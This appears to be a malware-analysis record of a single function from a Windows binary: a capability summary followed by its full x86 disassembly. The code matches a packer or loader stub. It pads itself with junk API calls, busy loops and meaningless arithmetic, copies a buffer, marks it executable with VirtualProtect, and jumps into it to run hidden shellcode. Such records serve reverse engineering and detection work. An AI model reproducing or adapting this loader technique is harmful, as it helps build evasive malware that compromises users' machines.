Function at 0x4031c0
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x42db5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x13b0
call fcn.00410770
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x49c544], 0xac
push edi
jne 0x40328f
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov dword [esp + 0xec], 0xf
mov dword [esp + 0xe8], esi
mov byte [esp + 0xd8], 0
push esi
mov dword [esp + 0x1400], esi
call fcn.00404347
add esp, 4
call fcn.00404342
push esi
call fcn.00404503
add esp, 4
push esi
call fcn.004044d4
add esp, 4
push esi
push esi
call fcn.004044ea
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.0040454d
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404510
fstp st(0)
add esp, 0x10
push esi
call fcn.004048a7
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
jmp 0x4032a0
cmp esi, 0xd2ac
jge 0x4032c3
push 0
lea eax, [esp + 0xbc4]
push eax
call edi
push 0
lea ecx, [esp + 0x48]
push ecx
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x13975
jl 0x4032a0
add dword [0x49c544], 0x11b1b
call fcn.004031a0
mov eax, dword [0x49c544]
mov ecx, dword [0x499450]
lea edx, [esp + 0x54]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
xor edi, edi
cmp dword [0x49c544], edi
jbe 0x4033ba
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov ebp, dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
jmp 0x403320
mov edx, dword [0x49cee4]
mov al, byte [edx + edi + 0x11b1b]
mov ecx, dword [0x499450]
mov byte [ecx + edi], al
cmp dword [0x49c544], 0xa8
jne 0x4033ad
push 0
call ebx
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
lea ecx, [esp + 0x54]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
xor edx, edx
xor eax, eax
mov word [esp + 0x46], ax
lea ecx, [esp + 0x50]
push ecx
mov word [esp + 0x48], dx
mov edx, dword [esp + 0x48]
push edx
lea eax, [esp + 0xc4]
push eax
lea ecx, [esp + 0xb4]
push ecx
push 0
call esi
inc edi
cmp edi, dword [0x49c544]
jb 0x403320
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
mov dword [esp + 0x48], eax
mov edx, dword [0x49c544]
add edx, eax
cmp edx, 0xe
jne 0x40348b
call edi
push 0
push 0
push 0
call ebp
call ebx
xor eax, eax
xor ecx, ecx
mov word [esp + 0x46], cx
lea edx, [esp + 0x4c]
push edx
mov word [esp + 0x48], ax
mov eax, dword [esp + 0x48]
push eax
lea ecx, [esp + 0xb0]
push ecx
lea edx, [esp + 0xd8]
push edx
push 0
call esi
push 0
lea eax, [esp + 0xbc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea ecx, [esp + 0x1a0]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x30
lea edx, [esp + 0xdc]
push 0
push edx
mov dword [esp + 0xe0], 0
call fcn.00408130
add esp, 0xc
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0xd8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0
lea edx, [esp + 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esp + 0x48]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x48], eax
jl 0x4033d2
mov edi, dword [sym.imp.GDI32.dll_GetBrushOrgEx]
mov esi, 0x4f4
push 0
push 0
call edi
sub esi, 1
jne 0x4034a6
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
cmp esi, 0x3ba47de
jge 0x40393b
mov dword [esp + 0x50], 0x6ff8fb4
mov dword [esp + 0xc8], 0x19c09138
mov dword [esp + 0xb8], 0x2863108a
mov dword [esp + 0x84], 0x39e85c11
mov dword [esp + 0x88], 0xd29c52a
mov dword [esp + 0x70], 0x2ca0b18a
mov dword [esp + 0xa8], 0xb71e0d0
mov dword [esp + 0x64], 0x3e145d0d
mov dword [esp + 0x74], 0x6cbb9846
mov dword [esp + 0x5c], 0x21d41abc
mov dword [esp + 0x68], 0x7f21b689
mov dword [esp + 0x98], 0x48405732
mov dword [esp + 0xcc], 0x34bea026
mov dword [esp + 0x80], 0x320ebc60
mov dword [esp + 0x44], 0xcbbd897
mov dword [esp + 0xb4], 0x13930fd0
mov dword [esp + 0x60], 0x2ffb7b8
mov dword [esp + 0x90], 0x788e83db
mov dword [esp + 0x78], 0x1efbcd4c
mov dword [esp + 0x7c], 0x5c1addb7
mov dword [esp + 0x4c], 0x734ef52
mov dword [esp + 0x9c], 0x56dd1543
mov dword [esp + 0x8c], 0x1d751f80
mov dword [esp + 0xbc], 0x4da6131e
mov dword [esp + 0x48], 0x2b7b68f1
mov dword [esp + 0xa0], 0x3619cbd3
mov dword [esp + 0x94], 0x6349dadb
mov dword [esp + 0xa4], 0x61aeb958
mov dword [esp + 0x6c], 0x28233d5d
mov dword [esp + 0x58], 0x501997c8
mov dword [esp + 0xc4], 0x73097bd3
mov dword [esp + 0xb0], 0x14be12a1
sub dword [esp + 0x50], 0x5f7bab94
add dword [esp + 0xc8], 0x1b50a3d
mov eax, 0x32b12e8c
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
sub dword [esp + 0x50], 0x1e7d5687
mov eax, 0x3cdbfa60
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x50], 0x845cab2
add dword [esp + 0x84], 0x3ad4c149
sub dword [esp + 0xc8], 0x19a4d6ba
sub dword [esp + 0x50], 0x577efa22
mov eax, 0x73acf61
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
mov eax, 0x2463180d
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x84], 0x24d32bd4
mov eax, 0x632b28c
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
sub dword [esp + 0xb8], 0x1875e4d0
add dword [esp + 0x88], 0x5a0dcab2
mov eax, 0x510e1fc5
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0xb8], 0x1508448e
add dword [esp + 0xc8], 0x6dea9301
sub dword [esp + 0xb8], 0x75aa6d9c
mov eax, 0xada0ef3
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
mov eax, 0x3a09bb59
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
add dword [esp + 0xc8], 0x1b0e0e0e
mov eax, 0x701fb3cc
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
mov eax, 0x4c5322fc
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
sub dword [esp + 0x50], 0x10344dd0
sub dword [esp + 0xb8], 0x33d8704e
mov eax, 0x71ab2119
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
sub dword [esp + 0x50], 0x74fe3706
sub dword [esp + 0x70], 0x35685120
sub dword [esp + 0xc8], 0x6aacd566
sub dword [esp + 0x84], 0x475455ad
mov eax, 0x4db4784a
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x608d3bf9
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x29c1d93f
mul dword [esp + 0xa8]
mov eax, dword [esp + 0xa8]
sub dword [esp + 0x88], 0x118973da
mov eax, 0x1b102d68
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
sub dword [esp + 0x84], 0x3c118f2e
mov eax, 0x2569c324
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x64], 0x70c09ce6
add dword [esp + 0xa8], 0x4059a469
sub dword [esp + 0xb8], 0x6215792e
add dword [esp + 0x84], 0x30653a25
mov eax, 0x590415d6
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x50], 0x51100a1c
sub dword [esp + 0xb8], 0x1e8efc5d
sub dword [esp + 0x68], 0x1be42fa8
mov eax, 0x285539a0
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
add dword [esp + 0x68], 0x4731986d
add dword [esp + 0x98], 0x3cef47f2
mov eax, 0x39df7580
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
add dword [esp + 0xc8], 0x6e4bb7db
mov eax, 0x2267b8a2
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
sub dword [esp + 0xcc], 0xa2ba007
sub dword [esp + 0xb8], 0x10717737
add dword [esp + 0x50], 0x591a86a2
add dword [esp + 0x44], 0x77620831
sub dword [esp + 0xcc], 0x4d613c26
add dword [esp + 0x60], 0x16cdd4a9
add dword [esp + 0xc8], 0x2faa87aa
sub dword [esp + 0x4c], 0x68bd82cb
sub dword [esp + 0x90], 0x67611b5b
mov eax, 0x75090e1a
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
add dword [esp + 0x48], 0x57949e50
mov eax, 0x68277b8e
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
add dword [esp + 0x4c], 0x374b2cf0
sub dword [esp + 0xc8], 0x6dcdd2bf
add dword [esp + 0x78], 0x37ca67f9
mov eax, 0x2b3fb1dc
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
cmp esi, 0xbfa539
jg 0x403950
inc esi
cmp esi, 0x19ce67f8
jl 0x4034b7
call fcn.00403070
xor edx, edx
cmp edx, 0x26
jne 0x403961
call fcn.00403180
inc edx
cmp edx, 0x409495
jl 0x403957
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov ebp, 0x7b
cmp dword [0x49c544], 0x86
jne 0x40399d
push 0
call esi
push 0
call edi
push 0
push 0
push 0
call ebx
sub ebp, 1
jne 0x403981
mov esi, dword [sym.imp.KERNEL32.dll_HeapSize]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esp + 0x48], 0x180ef
cmp dword [0x49c544], 0x1f
jne 0x403a0e
push 0
push 0
push 0
call esi
push 0
lea eax, [esp + 0x5c]
push eax
push 0
lea ecx, [esp + 0x7cc]
push ecx
push 0
call edi
push 0
lea edx, [esp + 0x3c4]
push edx
call ebx
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
sub dword [esp + 0x48], 1
jne 0x4039c2
push 0x402cc0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x499450]
mov dword [0x499454], eax
call eax
mov ecx, dword [esp + 0x13f4]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret